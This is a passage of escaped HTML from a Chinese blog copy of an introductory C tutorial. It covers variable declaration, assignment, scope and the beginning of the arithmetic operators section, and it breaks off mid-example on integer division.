大写英文字母开头的变量名,都是系统保留的,自己不应该起这样的变量名。\u003c/p\u003e\u003ch3 id=\"变量的声明\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E7%9A%84%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"变量的声明\"\u003e\u003c/a\u003e变量的声明\u003c/h3\u003e\u003cp\u003eC 语言的变量,必须先声明后使用。如果一个变量没有声明,就直接使用,会报错。\u003c/p\u003e\u003cp\u003e每个变量都有自己的类型(type)。声明变量时,必须把变量的类型告诉编译器。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e height;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码声明了变量\u003ccode\u003eheight\u003c/code\u003e,并且指定类型为\u003ccode\u003eint\u003c/code\u003e(整数)。\u003c/p\u003e\u003cp\u003e如果几个变量具有相同类型,可以在同一行声明。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e height, width;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e height;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e width;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,声明变量的语句必须以分号结尾。\u003c/p\u003e\u003cp\u003e一旦声明,变量的类型就不能在运行时修改。\u003c/p\u003e\u003ch3 id=\"变量的赋值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E7%9A%84%E8%B5%8B%E5%80%BC\" class=\"headerlink\" title=\"变量的赋值\"\u003e\u003c/a\u003e变量的赋值\u003c/h3\u003e\u003cp\u003eC 语言会在变量声明时,就为它分配内存空间,但是不会清除内存里面原来的值。这导致声明变量以后,变量会是一个随机的值。所以,变量一定要赋值以后才能使用。\u003c/p\u003e\u003cp\u003e赋值操作通过赋值运算符(\u003ccode\u003e=\u003c/code\u003e)完成。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enum = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一行声明了一个整数变量\u003ccode\u003enum\u003c/code\u003e,第二行给这个变量赋值。\u003c/p\u003e\u003cp\u003e变量的值应该与类型一致,不应该赋予不是同一个类型的值,比如\u003ccode\u003enum\u003c/code\u003e的类型是整数,就不应该赋值为小数。虽然 C 语言会自动转换类型,但是应该避免赋值运算符两侧的类型不一致。\u003c/p\u003e\u003cp\u003e变量的声明和赋值,也可以写在一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e多个相同类型变量的赋值,可以写在同一行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, y = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,赋值表达式有返回值,等于等号右边的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ey = (x = \u003cspan class=\"number\"\u003e2\u003c/span\u003e * x);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,变量\u003ccode\u003ey\u003c/code\u003e的值就是赋值表达式(\u003ccode\u003ex = 2 * x\u003c/code\u003e)的返回值\u003ccode\u003e2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于赋值表达式有返回值,所以 C 语言可以写出多重赋值表达式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, y, z, m, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = y = z = m = n = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码是合法代码,一次为多个变量赋值。赋值运算符是从右到左执行,所以先为\u003ccode\u003en\u003c/code\u003e赋值,然后依次为\u003ccode\u003em\u003c/code\u003e、\u003ccode\u003ez\u003c/code\u003e、\u003ccode\u003ey\u003c/code\u003e和\u003ccode\u003ex\u003c/code\u003e赋值。\u003c/p\u003e\u003cp\u003eC 语言有左值(left value)和右值(right value)的概念。左值是可以放在赋值运算符左边的值,一般是变量;右值是可以放在赋值运算符右边的值,一般是一个具体的值。这是为了强调有些值不能放在赋值运算符的左边,比如\u003ccode\u003ex = 1\u003c/code\u003e是合法的表达式,但是\u003ccode\u003e1 = x\u003c/code\u003e就会报错。\u003c/p\u003e\u003ch3 id=\"变量的作用域\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F\" class=\"headerlink\" title=\"变量的作用域\"\u003e\u003c/a\u003e变量的作用域\u003c/h3\u003e\u003cp\u003e作用域(scope)指的是变量生效的范围。C 语言的变量作用域主要有两种:文件作用域(file scope)和块作用域(block scope)。\u003c/p\u003e\u003cp\u003e文件作用域(file scope)指的是,在源码文件顶层声明的变量,从声明的位置到文件结束都有效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e是在文件顶层声明的,从声明位置开始的整个当前文件都是它的作用域,可以在这个范围的任何地方读取这个变量,比如函数\u003ccode\u003emain()\u003c/code\u003e内部就可以读取这个变量。\u003c/p\u003e\u003cp\u003e块作用域(block scope)指的是由大括号(\u003ccode\u003e{}\u003c/code\u003e)组成的代码块,它形成一个单独的作用域。凡是在块作用域里面声明的变量,只在当前代码块有效,代码块外部不可见。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e12\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e99\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\\n\u0026#34;\u003c/span\u003e, a, b); \u003cspan class=\"comment\"\u003e// 12 99\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, a); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, b); \u003cspan class=\"comment\"\u003e// 出错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,变量\u003ccode\u003eb\u003c/code\u003e是在\u003ccode\u003eif\u003c/code\u003e代码块里面声明的,所以对于大括号外面的代码,这个变量是不存在的。\u003c/p\u003e\u003cp\u003e代码块可以嵌套,即代码块内部还有代码块,这时就形成了多层的块作用域。它的规则是:内层代码块可以使用外层声明的变量,但外层不可以使用内层声明的变量。如果内层的变量与外层同名,那么会在当前作用域覆盖外层变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e20\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,内层和外层都有一个变量\u003ccode\u003ei\u003c/code\u003e,每个作用域都会优先使用当前作用域声明的\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e最常见的块作用域就是函数,函数内部声明的变量,对于函数外部是不可见的。\u003ccode\u003efor\u003c/code\u003e循环也是一个块作用域,循环变量只对循环体内部可见,外部是不可见的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 出错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efor\u003c/code\u003e循环省略了大括号,但依然是一个块作用域,在外部读取循环变量\u003ccode\u003ei\u003c/code\u003e,编译器就会报错。\u003c/p\u003e\u003ch2 id=\"运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"运算符\"\u003e\u003c/a\u003e运算符\u003c/h2\u003e\u003cp\u003eC 语言的运算符非常多,一共有 50 多种,可以分成若干类。\u003c/p\u003e\u003ch3 id=\"算术运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%97%E6%9C%AF%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"算术运算符\"\u003e\u003c/a\u003e算术运算符\u003c/h3\u003e\u003cp\u003e算术运算符专门用于算术运算,主要有下面几种。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e+\u003c/code\u003e:正值运算符(一元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-\u003c/code\u003e:负值运算符(一元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e+\u003c/code\u003e:加法运算符(二元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-\u003c/code\u003e:减法运算符(二元运算符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*\u003c/code\u003e:乘法运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/\u003c/code\u003e:除法运算符\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%\u003c/code\u003e:余值运算符\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(1)\u003ccode\u003e+\u003c/code\u003e,\u003ccode\u003e-\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e+\u003c/code\u003e和\u003ccode\u003e-\u003c/code\u003e既可以作为一元运算符,也可以作为二元运算符。所谓“一元运算符”,指的是只需要一个运算数就可以执行。一元运算符\u003ccode\u003e-\u003c/code\u003e用来改变一个值的正负号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e-\u003c/code\u003e将\u003ccode\u003e12\u003c/code\u003e这个值变成\u003ccode\u003e-12\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e一元运算符\u003ccode\u003e+\u003c/code\u003e对正负值没有影响,是一个完全可以省略的运算符,但是写了也不会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-12\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = +x;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ey\u003c/code\u003e的值还是\u003ccode\u003e-12\u003c/code\u003e,因为\u003ccode\u003e+\u003c/code\u003e不会改变正负值。\u003c/p\u003e\u003cp\u003e二元运算符\u003ccode\u003e+\u003c/code\u003e和\u003ccode\u003e-\u003c/code\u003e用来完成加法和减法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e4\u003c/span\u003e + \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = \u003cspan class=\"number\"\u003e61\u003c/span\u003e - \u003cspan class=\"number\"\u003e23\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)\u003ccode\u003e*\u003c/code\u003e\u003c/p\u003e\u003cp\u003e运算符\u003ccode\u003e*\u003c/code\u003e用来完成乘法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e num = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%i\\n\u0026#34;\u003c/span\u003e, num * num); \u003cspan class=\"comment\"\u003e// 输出 25\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)\u003ccode\u003e/\u003c/code\u003e\u003c/p\u003e\u003cp\u003e运算符\u003ccode\u003e/\u003c/code\u003e用来完成除法。注意,两个整数相除,得到还是一个整数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x = \u003cspan class=\"number\"\u003e6\u003c/span\u003e / \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\\n\u0026#34;\u003c/span\u003e, x); \u003cspan 